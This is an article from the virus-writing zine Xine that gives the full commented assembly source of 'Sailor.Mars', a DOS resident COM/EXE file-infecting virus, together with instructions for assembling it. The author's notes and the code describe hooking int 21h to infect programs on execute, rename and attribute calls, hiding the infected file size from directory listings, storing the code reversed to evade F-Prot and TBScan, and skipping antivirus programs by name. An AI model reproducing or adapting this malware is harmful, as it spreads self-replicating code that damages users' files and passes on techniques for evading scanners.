Copy Link
Add to Bookmark
Report
xine-1.021
/-----------------------------\
| Xine - issue #1 - Phile 021 |
\-----------------------------/
;
;
; b0z0 of da iKx presents
; Sailor.Mars
;
; Dear reader :)
; here is my latest (in this moment) production. The third component of the
; Pretty Soldiers Sailor family is before your eyes! Sailor.Mars!
; enought of this... let's see what it is:
; * TSR (of coz) COM/EXE infector
; * infects on 4bh (execute), 56h (move/rename) and 43h (get/set
; file attributes)
; * stealth on dir (11h/12h), disabled when chkdsk is run
; * int24h handler
; * "encrypted" code: this is quite funny... the virus will run around
; various hard disks reversed... after a short decryptor you will find
; the end of the virus and at the end of the file the head :) this
; seems quite fool, but is currently a good way to fool fprot and tbscan
; scanning! :) when reversing code the routine also tests if there
; occours any Interrupt (well, that are so much of that CDs ;) ) and
; doesn't reverse it. In this manner the AVs will find a 'INT 21h',
; but won't be able to find something interesting (like a mov into the
; AX of some dangerous call) in the useful registers :) To prevent also
; the generation of a 'INT 26h' call (which get flagged) the routine
; also changes the '26h' before any 'CDh' to a more friendly '62h' ;)
; * it doesn't infect a big number of antiviruses
;
; To compile
; TASM /M2 MARS.ASM
; TLINK MARS
;
mars segment
assume cs:mars,ds:mars,es:mars
org 00h
exe_start:
call realstart
realstart:
push ds ;save on stack for later use
push es
mov bp,sp ;bp<-delta offset
mov bx,[bp+4] ;antiheuristic calculation of
mov bp,bx ;delta offset
sub bp,offset realstart ;bye fprot & tbscan :)
cmp byte ptr cs:[movdidl+bp],88h ;first gen?
je exe_enc
call deccom
jmp exe_enc
deccom:
push cs
pop ds
push ds
pop es
inc byte ptr [movdidl+bp] ;reput the mov [di],dl
lea di,[virus_end+bp] ;from
mov cx,enc_end-enc_start
lea si,[enc_end+bp-1] ;to
next:
mov dl,[si] ;let's go
cmp dl,0cdh ;remember out int masquerade
jne nint
mov dl,[di-1]
mov byte ptr [di-1],0cdh
cmp dl,062h ;62->26 to fool abs disk write
jne nint ;alarm
mov dl,026h
nint:
dec si
movdidl: db 88h,15h ;will change to fool enc flag
inc di
dec cx
jnz next
lea di,[enc_start+bp]
lea si,[virus_end+bp]
mov cx,enc_end-enc_start
rep movsb ;put the code in it's real place
ret
virusname db 0,'Sailor.Mars',0
author db '-b0z0/iKx-',0 ;as usual :)
;firstg db 00h
enc_start:
exe_enc:
pop es
pop ds
dec byte ptr cs:[movdidl+bp]
call decvicdata ;decrypt original victim bytes
call resident ;go resident
cmp byte ptr cs:[isexe+bp],00h ;com or exe?
jne realcom
;.exe restore
mov ax,ds
add ax,10h
add cs:[infcs+bp],ax
cli
mov sp,word ptr cs:[infsp+bp] ;restore sp:ss
add ax,word ptr cs:[infss+bp]
mov ss,ax
sti
sub ax,ax
sub bx,bx
sub cx,cx
sub dx,dx
sub di,di
sub si,si
push cs:[infcs+bp] ;push cs:ip
push cs:[infip+bp]
sub bp,bp
retf ;return on original cs:ip
victim_enc_data:
infip dw 00000h
infsp dw ?
infss dw ?
infcs dw 0fff0h
old_jump db 0cdh,020h,00h,00h
isexe db 00h ;00h=exe, 01=com
new_jump db 0e9h,00h,00h,04fh
;.com restore
realcom:
mov di,100h
lea si,[old_jump+bp]
push di
movsw ;put original 2 words
movsw
pop ax
jmp ax ;jump at cs:100
resident:
push es
push ds
mov ax,02abch ;installation check
int 21h
cmp bx,0def6h ; HEX DEF6
je notinst
push es
mov ax,3521h ; get int 21 adress
int 21h
mov word ptr cs:[old_int21_off+bp],bx ;store int21 offset
mov word ptr cs:[old_int21_seg+bp],es ; and segment
pop es
mov ax,es ; es=psp
dec ax ; psp-1=mcb
mov ds,ax ; DS = segment of programs mcb
sub di,di
l4mcb: ; look for last mcb in chain
cmp byte ptr ds:[di],'Z' ;is last?
je last
inc ax
add ax,word ptr ds:[di+03h]
mov ds,ax
jmp l4mcb
last:
sub word ptr ds:[di+03h],size_para ; =mcb+03h
add ax,word ptr ds:[di+03h]
sub word ptr ds:[di+12h],size_para ; =psp+02h
inc ax ; AX = first usable MCB segment
cld
push cs
pop ds ; ds points on code
mov cx,(virus_end-exe_start+1)/2
mov es,ax ; es points on our usable segment
lea si,[exe_start+bp] ; si points on our code
rep movsw ; move virus
push es ; virus segment
mov ax,2521h ; set interrupt 21h handler
pop ds ; point to virus segment
mov dx,[offset int21_handler]
int 21h
dec byte ptr cs:[movdidl+bp]
notinst:
pop ds
pop es
ret
dirstealth:
pushf
push cs
call goint21
cmp al,0 ;ok?
jnz leave_dir ;no?
push es
push bx
push ax
push di
mov ah,2fh
int 21h
mov di,bx
cmp byte ptr es:[di],0ffh
jne no_ext
add di,07h
no_ext:
mov al,byte ptr es:[di+17h] ;seconds field
and al,1fh
xor al,0eh ;is file infected?
jnz error
hide:
sub word ptr es:[di+1dh],(virus_end-exe_start) ;hide size
sbb word ptr es:[di+1fh],00h
error:
pop di
pop ax
pop bx
pop es
leave_dir:
retf 2
int21_handler:
cmp ax,02abch ; installation check
jne acheck
mov bx,0def6h ; HEX DEF6
iret
acheck:
cmp ah,4bh ; program execution
je execute
cmp ah,56h ; move/rename file
je execute
cmp ah,32h
jne no_disable_stealth
inc byte ptr cs:[nost]
no_disable_stealth:
cmp byte ptr cs:[nost],00h
jne nostealth
cmp ah,11h
je dirstealth
cmp ah,12h
je dirstealth
nostealth:
cmp ah,4ch
jne noterm
mov byte ptr cs:[nost],00h
noterm:
cmp ah,43h ;get/set file attributes
jne goint21
cmp bh,4fh ;marker for our internal uses
jne execute
goint21:
jmp cs:old_int21
old_int21 label dword
old_int21_off dw ?
old_int21_seg dw ?
execute:
pushf
push ax
push bx
push dx
push cx
push bp
push ds
push si
push di
push es
push ds
push dx
mov ax,3524h ;get int24h seg and off
int 21h
mov word ptr cs:[old_int24_off],bx ;store them
mov word ptr cs:[old_int24_seg],es
push cs
pop ds
mov dx,offset int24h ;our int24h
mov ax,2524h
int 21h
pop dx
pop ds
push di
push dx
pop di
sloop: ;ds:di-> filename
inc di
cmp byte ptr ds:[di],'.'
jne sloop ;search for '.'
inc di
cmp word ptr ds:di,'XE' ;is an exe?
je ahead2
cmp word ptr ds:di,'OC' ;is a com
je ahead2
pop di
jmp oh_shit2
ahead2:
mov byte ptr cs:[avrunning],00h
call checkav ;look if we are infecting
pop di ;an antiviru$
cmp byte ptr cs:[avrunning],01h
jne bogus
jmp oh_shit2
bogus:
mov bh,4fh
mov ax,4300h
int 21h
push cx
push ds
push dx
sub cx,cx
call set_attr
mov ax,3d02h ;open for rw
int 21h
jnc ahead
jmp oh_shit
ahead:
mov bx,ax ;bx file handle as usual
push cs
pop ds
mov ax,5700h ;read date/time
int 21h
push dx
push cx
mov ah,3fh ;read 1ch bytes from file
mov cx,1dh
lea dx,exeheader
mov si,dx
int 21h
cmp byte ptr [si],'M' ;exe?
je exestuff
cmp byte ptr [si+1],'Z' ;exe?
je exestuff
cmp byte ptr [si],0e9h ;jump in com?
jne cominf
cmp byte ptr [si+3],04fh ;is ours?
je notcominf
cominf:
call cominfect ;infect .com file
notcominf:
jmp closing ;go away
exestuff:
cmp byte ptr [si+18h],'@' ;winexes
je closing
cmp word ptr [si+12h],'MS' ;sailormars marker
je closing
cmp word ptr [si+1ah],00h ;internal ovl
jne closing
call exeinfect ;infect .exe file
closing:
pop cx
pop dx
mov ax,5701h ;set date/time
cmp byte ptr [avrunning],02h
jne justdoit
and cl,0e0h
add cl,0eh
justdoit:
int 21h
mov ah,3eh ;close file
int 21h
oh_shit:
pop dx
pop ds
pop cx
call set_attr ;reput old attributes
oh_shit2:
mov ax,2524h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
int 21h ; restore int24h
pop es
pop di
pop si
pop ds
pop bp
pop cx
pop dx
pop bx
pop ax
popf
jmp goint21
cominfect: ;com infection routine
;bx <-- filehandle
;si --> exeheader
;cs=ds=code
push ds ;copy original 4 bytes
pop es
lea di,old_jump ;in old_jump
movsw
movsw
mov al,02h ;lseek at end
call movefile
cmp ax,0f230h ;ax=62000?
ja exitcominfect ;jmp if ax>62000
cmp ax,0400h ;ax=1024?
jbe exitcominfect ;jmp if ax<=1024
sub ax,03h ;sub the jmp
mov word ptr new_jump + 01h, ax ;new jump
mov byte ptr isexe,01h ;mark as com
call genran ;random number for xor
sub bp,bp
call decvicdata ;xor them
call enccom ;reverse virus
push ds
push es
pop ds
mov ah,40h ;write virus at end
mov cx,(virus_end-exe_start)
mov dx,offset exe_start
int 21h
xor al,al
call movefile
pop ds
mov cx,04h ;write first 4 bytes
mov ah,40h
mov dx,offset new_jump
int 21h
mov byte ptr [avrunning],02h
exitcominfect:
ret
movefile: ;move through the file
mov ah,42h
cwd
sub cx,cx
int 21h
ret
exeinfect:
;bx <- filehandle
;si -> exeheader
mov cx,word ptr [si+14h] ;store old IP
mov infip,cx
mov cx,word ptr [si+16h] ;store old CS
mov infcs,cx
mov cx,word ptr [si+10h] ;store old SP
mov infsp,cx
mov cx,word ptr [si+0eh] ;store old SS
mov infss,cx
mov al,02h
call movefile
call loadsize
cmp dx,word ptr [lendx] ;compare lseek length with
ja exitexeinfect ;length of image that will
cmp ax,word ptr [lenax] ;be loaded by the loader
ja exitexeinfect
push ax ;store length
push dx
mov cx,10h
div cx
sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx ;new length
mov word ptr [si+16h],ax
add dx,offset ourstack
mov word ptr [si+10h],dx ;new stack
mov word ptr [si+0eh],ax
pop dx
pop ax
mov cx,200h ;200h=512=one page
add ax,(virus_end-exe_start)
adc dx,00h
div cx
mov word ptr [si+02h],dx ;new length
mov word ptr [si+12h],'MS' ;marker
inc ax
mov word ptr [si+04h],ax ;new length
mov byte ptr [isexe],00h
call genran ;generate xor value
push ds
push si
sub bp,bp
call decvicdata ;encrypt the original bytes
call enccom ;reverse our virus
push es
pop ds
pop si
mov ah,40h ;write virus at end
mov cx,(virus_end-exe_start)
mov dx,offset exe_start
push ax
int 21h
sub al,al ;move at start
call movefile
pop ax
pop ds ;rewrite header
mov cx,1ch
mov dx,si
int 21h
mov byte ptr [avrunning],02h
exitexeinfect:
ret
enccom:
mov ax,8d00h ;some suitable mem
mov es,ax
mov di,offset exe_start
mov si,di
mov cx,offset enc_start
rep movsb ;copy first normal part of code
mov si,offset enc_end-1
mov cx,enc_end-enc_start
critt:
mov dh,ds:[si]
cmp dh,0cdh ;is an int?
jne notint
mov dh,es:[di-1]
mov ah,0cdh
mov es:[di-1],ah
cmp dh,026h ;change 26 to 62, so no
jne notint ;absolute disk writes will
mov dh,062h ;be noticed
notint:
mov es:[di],dh
dec si ;copy and reverse code
inc di
dec cx
jnz critt
ret
xorvalue dw 00h
decvicdata: ;minor encryption for original bytes
lea si,cs:[bp+victim_enc_data]
mov dx,word ptr cs:[bp+xorvalue]
mov cx,06h ;6 words to encrypt
encloopy: ;cs:
xor word ptr cs:[si],dx
inc si
inc si ;next word
loop encloopy
xor byte ptr cs:[si],dh ;xor com/exe marker
ret
genran: ;generate random value for xoring
in ax,40h
mov word ptr [xorvalue],ax ;store value
ret
set_attr:
push bx
mov bh,4fh
mov ax,4301h ;set attributes
int 21h
pop bx
ret
loadsize:
push ax ;calculate lenght of loaded
push dx ;image from header
mov cx,word ptr [si+04h]
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h
mov word ptr [lenax],ax
mov word ptr [lendx],dx
pop dx
pop ax
ret
antiviruses db 'TB','AV','F-','VI','SC','IT','IV','FI','NA','CO'
dw 00h
checkav: ;check if the current program being infected is an AV
;ds:di --> '.'+1 in the filename
dec di ;
cmp byte ptr ds:[di-1],'\' ;search for the \
jne checkav ;
lea si,antiviruses
avcloop:
mov cx,word ptr cs:[si]
cmp word ptr ds:di,cx
jne notav
mov byte ptr cs:[avrunning],01h ;set av flag
notav:
cmp byte ptr cs:[avrunning],01h
je endscan
inc si ;next av signature
inc si
cmp word ptr cs:[si],00h ;end of the checked sigs?
je endscan
jmp avcloop
endscan:
ret
int24h:
mov al,00h ;much better, so on an attrib on a wp
iret ;diskette that wouldn't be a wp warning
enc_end:
virus_end:
nost db 00h ;00h=11h/12h enabled, 1=disabled
old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment
avrunning db ? ;00h av not running, 01h running
;02h file succesfully infected
lenax dw ?
lendx dw ?
exeheader db 1dh dup (?)
size_para=(virus_end-exe_start+0fh)/10h+2 ;virus + some temp space
lengthstack db 1024 dup (?) ;256
ourstack:
mars ends
end exe_start